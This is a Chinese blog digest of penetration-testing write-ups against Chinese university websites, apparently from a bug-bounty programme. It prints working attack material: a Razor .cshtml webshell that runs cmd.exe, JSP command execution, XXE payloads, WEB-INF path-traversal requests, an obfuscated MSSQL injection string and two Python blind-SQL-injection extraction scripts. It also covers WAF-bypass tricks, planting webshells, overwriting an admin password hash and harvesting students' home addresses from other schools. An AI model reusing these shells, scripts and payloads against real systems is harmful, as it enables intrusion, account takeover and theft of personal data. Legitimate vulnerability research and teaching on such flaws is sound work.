題記
最近在edusrc上吃瓜,看大佬們互懟,又通過大佬們的名字發現個安全團隊的博客,前有小口,仿佛若有光,大量的騷姿勢文章讓我獲益無窮,相見恨晚,故腦中想法盛然,整理成博,總結文章,讓我們在前方相遇。最近看到一個新手群的直播,可能是我的技術已經步入初級了,毫無營養,加油吧,少年們。
一、小小小月球大佬的分享
1.1 記一次和廠家相愛相殺
文章地址:http://0dayhack.net/index.php/25/
內容:http://xxxxx/index.html?userNo=xxxx鏈接可以直接登錄后台,fofa收集站點,掃備份。黑盒測試發現接口。在接口處通過修改userid可以返回用戶信息。通過把鏈接參數修改為管理員的實現進入管理員后台,在后台處發現ssrf,ssrf特征為http://xxxxxxx/api/imageRe?path=dnslog,廠家修復后再次測試,增加了登陸者身份關系校驗,再次繞過,使用空值替換rm參數,形如userId=1&menuRole=SYS004&roleNo=SYS004&cal=381&rm=。
總結:1、修改url參數可造成越權;2、后台留意ssrf與sql注入等漏洞;3、注意接口安全,有些情況可以刪除參數繞過。
1.2 記一次文件上傳繞過Error 500
文章地址:http://0dayhack.net/index.php/67/
內容:首先在路邊撿一個賬號密碼,登錄后找敏感接口與上傳點,發現只是前端檢測,成功上傳jsp但是java類無法編輯,其他語法可以解析,jsp聯合html可以執行
代碼:
<%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8" import="java.io.*"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Insert title here</title>
</head>
<body>
內容
</body>
</html>
執行:.jsp?cmds=ipconfig
總結:文件上傳后無法解析可以思考下換種編碼配合。
1.3 從零開始挖edusrc(一)
文章地址:http://0dayhack.net/index.php/329/
內容:(1)信息收集:資產收集,敏感信息收集,旁站C段收集,指紋收集,掃描的話推薦gody(指紋信息)加谷歌語法。(2)一個簡單的邏輯漏洞,谷歌語法:site:域名 intext:登錄|注冊|找回密碼|重置密碼
一個任意密碼重置漏洞,注冊2個用戶,修改密碼抓包,看到id后不要盲目改id,嘗試登錄另一個號抓包,對比區別測試。
總結:活用信息收集,常見漏洞挖不到的話嘗試邏輯漏洞,邏輯漏洞最后2個號測試,不要一上來就改,熟悉發包流程。
1.4 從零開始挖edusrc(二)-任意用戶密碼重置
文章地址:http://0dayhack.net/index.php/361/
內容:1、在測試邏輯的時候可以抓包上個操作的返回包進行對比,然后替換。比如你填寫正確的驗證碼返回包是true,但現在你隨便填寫的驗證碼返回是false抓返回包吧false改成true,成功找回。
2、把錯誤的返回包改成{}會返回正確,但是后端驗證了pin碼,把pin碼設置為空,直接跳過校驗。檢測驗證碼有可能是判斷pin=xxxx,但=空之后else直接跳過了?不判斷參數完整性進行繞過。
總結:改響應包或者刪除參數測試邏輯漏洞。
1.5 從零開始挖edusrc(三)-任意文件下載
文章地址:http://0dayhack.net/index.php/383/
內容:https://xxxxxxxxx/NECBSHistory/downloadFileByName?fileName=uploadNEFormAttachPictureWord_7290bb66-4c60-41fc-b701-4940b8560491.jsp&propertyName=uploadNEFormAttachPictureWord這種路徑很可能存在任意文件下載,發現地址在上傳文件的地方,上傳完你可以下載,查看鏈接就是這個地址。
下載測試:GET /NECBSHistory/downloadFileByName?fileName=./../../../../WEB-INF/web.xml&propertyName=uploadNEFormConsignerDataWord與GET /NECBSHistory/downloadFileByName?fileName=./../../../../WEB-INF/classes/config/applicationContext.xml&propertyName=uploadNEFormConsignerDataWord HTTP/1.1
總結:注意上傳文件的地方,一不小心就發現個大家伙。
1.6 記一次某開BypassWAF–>GETSHELL
文章地址:http://0dayhack.net/index.php/455/
內容:首先測試賬號登錄,訪問個人中心修改頭像,先正常思路上傳文件,上傳文件會先返回一串加密后的值ticket,判斷文件名是通過filename+ticket檢測,然后就先上傳webshell文件獲得對應值,發現有安全狗,.html.aspx繞過安全狗,但是上傳aspx不行,於是上傳.html.ashx,記得免殺。
總結:賬號很重要,上傳文件時候aspx不行可以嘗試ashx。
1.7 浙大某站BypassWAF–>GETSHELL
文章地址:http://0dayhack.net/index.php/646/
內容:1.nodejs+java+ssh前后端分離上傳,先上傳圖片得到jpg,改成jsp攔截,jspx不攔截但是訪問地址報錯(內容檢測),2.繞過內容檢測,jspx是以xml語法來書寫jsp的文件,掏出jspx大寶貝一頓上傳繞過方法jspx+垃圾字符繞過(在注釋里填充大量垃圾字符可以繞過檢測)。
總結:java站嘗試jspx的繞過,免殺方法:垃圾字符填充。
*1.8 某開的一次SQL注入(bypassWAF)
文章地址:http://0dayhack.net/index.php/735/
內容:來自搜索框的SQL注入,如果沒waf,可以抓包加*,sqlmap梭哈。這里有waf,手工測試,單引號報錯,雙引號正常,and 攔截,證明存在注入。大寫+/**/繞過。
總結:單引號雙引號測是否有洞,get新姿勢,以前我都是-0測的。
*1.9 一次簡單的XXE漏洞挖掘
文章地址:http://0dayhack.net/index.php/1008/
內容:登錄框,先測試弱口令,無果后發現xml傳輸,也返回xml。判斷是否存在xml注入,先輸入<root>報錯,然后<root></root>,返回xml多半存在漏洞。
驗證漏洞:
Poc
組成一個內部聲明DTD,這里直接不需要聲明xml
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:///">
%remote;]>
dnslog
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "dnslog">
%remote;]>
總結:加深了我對XXE的理解。
1.10 記一次交大簡單的getshell(bypass)
文章地址:http://0dayhack.net/index.php/1113/
過程:進入后台(果然賬號密碼限制了我的想象力,大佬在路邊隨便都能撿到賬號密碼),找到上傳點,百度搜索編輯器,后綴繞過:'ashx和ashx空格,都可繞過。內容檢測:垃圾字符+馬帶走。
總結:佛了,hacker就是hacker。
1.11 又又又是文件上傳(base64上傳)
文章地址:http://0dayhack.net/index.php/1365/
過程:找到頭像上傳點,先正常走一遍,發現base64上傳。返回png文件,改成ashx發現返回ashx文件。把馬轉換成base64替換圖片base64內容,執行成功。
總結:原來還能這么干,圖片轉文件。
1.12 從零開始挖edusrc(四)-任意文件上傳
文章地址:http://0dayhack.net/index.php/1603/
過程:上傳文件直接拿shell,翻翻目錄,找到管理員后台與PHPmyadmin,找配置文件發現賬號密碼,利用日志寫入一句話木馬,翻到管理員發現密碼BCrypt加密,百度隨便找個BCrypt加密替換上去(記得要保存管理員的,干完要還回去,畢竟只蹭蹭)$2a$10$2gP3nFQ3eajNzJayX2E5GuQJsEOMIGXl4hWDKdXpeX9pQBUwGJW7m這是123456。進后台上傳文件又getshell,並不是頭像上傳接口了。
總結:翻翻配置文件沒准有驚喜,實在不行直接改密碼進后台。
二、望海寺快下課
2.1 接口Fuzz的行為藝術
文章地址:http://0dayhack.net/index.php/789/
過程:1、前端源代碼中發現一處js文件,login.js,其中夾雜着ajax的請求,其中有一處的checklogin的接口,傳參的ID為stuID和schooldID還有Passwd,以此可見此處接口是進行身份驗證,回應包里面同時還有data數據,那未授權訪問后台概率性不大。同時會發現大部分行為驗證都是在此接口進行驗證,於是嘗試遍歷接口的目錄,由於知道passwd是用來checklogin的接口使用,就刪除其字段。只用stuID和schooldID。一下就跑出了一個getStudent的接口,同時並沒有進行鑒權,導致任何用戶發送指定的POST數據都可以獲取其中數據,正好stuID和schooldID是剛開始大部分接口都有使用到的,也就跑出數據。谷歌語法收集學號會返回內容。知道了此接口,fofa搜索其他站點,用此接口獲取其他學校的師生信息,登錄就業網,發現其個人絕大部分的信息乃至家庭住址。此系統密碼修改的地方還存在越權,雖然有cookie一些列的驗證,但是都是用來進行接口的傳參,並沒有用來鑒權,直接修改目標學號就可以完成任意密碼重置。2、請求一個anPhoneTrue的接口,傳參值usMobile,返回的是json格式的success:error。直接字典一上跑接口 ,跑出了一個anAdminList*****的接口(賬號的傳參值直接用F12看登錄框的html值),里面存在email,username和修改密碼最重要的手機號碼,當填入手機號的時候獲取驗證碼嘗試是否存在邏輯繞過的時候,居然發現 回應包里存在code,后續就是一樣的操作找上傳點,jsp免殺,有waf用<!– … –>來注釋掉隨便填充的垃圾數據導致waf檢測不到。
總結:記得注意接口,getstudent這個接口是利用bp以post傳遞固定參數,對目標目錄下的文件進行字典爆破。
2.2 組合拳殺入教務系統
文章地址:http://0dayhack.net/index.php/883/
過程:登錄框測試:sql萬能密碼,查看登錄接口是否會返回敏感信息,邏輯繞過,弱口令。根據不同提示進行弱口令爆破,成功獲得2個用戶。建站用的是asp.net 在所有文件上傳處上了幾個asp ashx的免殺馬,都是無法解析。那就看看有沒有其他類型的漏洞,點擊編輯頁面 尋思着能否發現其他關於教師的敏感信息,發現居然存在口令, 直接利用F12修改一下input中的type類型數值為text。又用管理員賬號進行一些信息收集發現 默認密碼的提示,同時在那個F12大法的地方,你會發現教師的默認密碼為六個0。知道了這些信息,進行對其他系統的撞庫(我們撞庫肯定是利用一些測試用戶,或者系統內置的用戶),FOFA大法。打開另一個站,存在驗證碼,發現攔掉不發送,就不會刷新。這邊我們利用在上個系統中收集到類似內置用戶和測試用戶的賬號,密碼為六個0和默認密碼進行爆破,成功爆破出一個宿舍用戶。。
總結:當一個站有成果或者有waf的時候,可以fofa找類似站點驗證。
2.3 記Lower-GetShell
文章地址:http://0dayhack.net/index.php/1251/
過程:摸到一個系統,發現存在sql,僅僅用了后端的一些關鍵字過濾,摸了一會兒發現可以,字節拼接+空格繞過+LIKE繞過。那個登錄框直接上sqlmap跑用一些tamper腳本可以跑出來,可以直接用xp_cmdshell。
三、AGONI
3.1 記一次對xxxedu的滲透測試
文章地址:http://0dayhack.net/index.php/97/
過程:爆破admin賬戶,弱口令無果,去注冊界面,選擇導師的時候出現測試用戶名,測試用戶登錄,修改密碼處id改為1越權變成管理員。測試未授權訪問刪除cookie,對比登錄前后cookie,構造cookie成功以超管登錄。
總結:注冊界面嘗試尋找一些信息,多留意cookie的變化與構造。
3.2 記一次南開大學梅開三度
文章地址:http://0dayhack.net/index.php/391/
過程:發現南開某站點登陸界面可以枚舉用戶,且驗證碼攔截不會刷新。直接上burp枚舉用戶名,發現存在guest測試賬戶,且密碼為123456 。成功登陸之后,權限為普通用戶權限,測試了一波常見漏洞無果,發現上傳居然強改后綴。既然在這里毫無進展,fofa搜索同類型站點。找到一個類似測試站點,直接爆破admin賬戶。發現存在弱口令,直接以admin賬戶登錄,測試其余功能點,發現其大部分系統功能主要通過get傳參,將get傳參部分單獨拉出來拼接至url鏈接中,可正常訪問(這里需要登錄后改鏈接訪問)。越權添加用戶,可以操作。
總結:可先測試同類型網站,事半功倍。
3.3 看我如何通過黑盒測試日下四個證書站
文章地址:http://0dayhack.net/index.php/756/
過程:登錄框,輸入一個不存在的用戶名,進行抓包測試。隨意輸入一個不存在的賬戶,登陸抓包單獨拉出來簡單測試一下sql 在用戶名處加一個單引號,報錯。存在waf,找一個無waf的站點跑payload。在登錄的站點測試功能抓包單獨拉出來,刪除cookie。訪問,1、越權查看smtp服務器賬戶密碼,2、查看所有賬戶,3、越權添加超管。這種意思就是在測試站抓包,修改域名什么的,造成直接修改目標域名的內容。
總結:測試站點抓包修改請求,繞waf這方面不得不說冰蠍是真的好用啊,冰蠍不行那就臟字符+冰蠍,是真的秒啊。
3.4 記一次文件上傳多重bypass
文章地址:http://0dayhack.net/index.php/1076/
過程:在某查詢界面,隨手一加單引號,報錯,兩個單引號閉合無報錯信息,sql注入無疑。繼續fuzz一遍,發現目標存在waf,輸入一些關鍵字會被連接重置。不曉得是硬件還是雲waf哦,如果是雲waf的話可以通過查找真實ip進行運氣繞過。例如我之前那個同濟的站點就是通過查找真實ip地址進行繞過,另一種呢硬件waf的話,臟字節填充吧。fuzz一遍無果。既然到了這里,還是老規矩,先打其他沒有waf的站點搞出payload,再去手動fuzz構造payload:發現可以通過%oa%ob替換空格達到繞過的效果最終payload:1′);–%0a%0b%01%03%04%05%06%07%08%09;%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09Waitfor%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09Delay%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09'00:00:5'%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09–hhhh(只適用於mssql,原理參考鏈接:http://cnblogs.com/willingtolove/p/11160605.html),進入子站后台,找到上傳點,添加上傳類型,但是aspx上傳會過濾as,那我們就可以考慮一下aasspx 過濾攔截會過濾中間的as,之后會自動拼接a spx,形成aspx的后綴。但是waf站點不行,后思考aspx,net的站點應該是支持cshtml的馬的,成功但是只能執行特定命令。
代碼:
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}
Output of the injected command (by Niemand):
@cmd
總結:aspx.net站點嘗試cshtml馬。
四、其他
*4.1 簡單的sql注入與腳本的編寫與4.2 SQL注入-BOOL盲注-一個小細節 作者:太空人
文章地址:http://0dayhack.net/index.php/1630/與http://0dayhack.net/index.php/1724/
過程:第一篇:登錄框測試注入點,通過報錯知道是mysql數據庫,選擇時間盲注。cc=1234&pwd=456'and if((length(database())=8),sleep(5),0))–+&key=,了解了原理之后就可以自己編寫二分法腳本。第二篇:關注細節,有waf看返回正確與錯誤確定注入點,測試發現是mssql數據庫,因為ban了 waitfor delay。又經過手工測試發現一些沒被ban的函數1')and (ascii(substring('a',1,1))=97)--+正常payload 1')and (ascii(substring(({content}),{i},1))-{mid})<1--+。
腳本1:
# -*- coding:utf-8 -*-
import requests
from requests import exceptions
url = 'http://ip/CheckUser'
def main():
result = ""
for i in range(1, 20):
low = 32
high = 128
while low < high:
mid = int((low + high) / 2)
content = "select user()"
sql = f"123'and if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0))-- "
data = {
"cc":'123456',
"pwd": sql,
"key":''
}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://ip", "Connection": "close", "Referer": "http://ip"}
r = requests.post(url=url, data=data,headers=headers)
if r.elapsed.total_seconds() > 5:
high = mid
else:
low = mid + 1
print("[+] After changing we got {} to {}".format(low, high))
if low == high == 32:
print("[*] Result is: {}".format(result))
break
print("[+] Now has {}".format(i))
result += chr(int((high + low - 1) / 2))
print("[*] Result now is: {}".format(result))
if __name__ == '__main__':
main()
腳本2:
# -*- coding:utf-8 -*-
import requests
url = "ip:/???Text="
def main():
result = ""
for i in range(1, 200):
low = 31
high = 128
while low < high:
mid = int((low + high) / 2)
content = "@@version"
sql = f"1')and (ascii(substring(({content}),{i},1))-{mid})<1--+"
payload = url+sql
response = requests.get(url=payload)
if "共18條數據" in response.text:
high = mid
else:
low = mid + 1
print("[+] After changing we got {} to {}".format(low, high))
if low == high == 128 or low == high == 31:
print("[*] Result is: {}".format(result))
break
print("[+] Now has {}".format(i))
result += chr(int((high + low) / 2))
print("[*] Result now is: {}".format(result))
if __name__ == '__main__':
main()
總結:腳本我還是看得懂的。
3.5 記一次目錄遍歷帶來的驚喜
文章地址:http://xz.aliyun.com/t/9418
過程:瀏覽資源發現教育平台,首先嘗試弱口令,弱口令無果后的思路,1、fofa同類型站點爆破出賬戶,嘗試有沒有未授權漏洞什么的。2、爆破用戶名弱口令,獲得權限后深入測試。
觀察返回包,發現不存在session等參數,這種大部分可以登錄繞過,換站點用登錄成功的賬戶密碼替換返回包,成功繞過限制。賬戶權限小並且無敏感操作嘗試上傳測試,首先上傳失敗。拿御劍開始目錄爆破,發現有目錄遍歷漏洞,發現上傳測試頁面,但是不返回文件路徑,發現是Windows,在文件后綴添加禁止的字符,系統報錯返回路徑。然后研究命名規則,但是上傳的目錄不可讀,嘗試目錄穿越,成功拿到shell。
總結:爆破有時候有奇效。
總結
Get到各種新姿勢,我說大佬們為啥都這么強,不說了,我去把我的通用漏洞整一波了。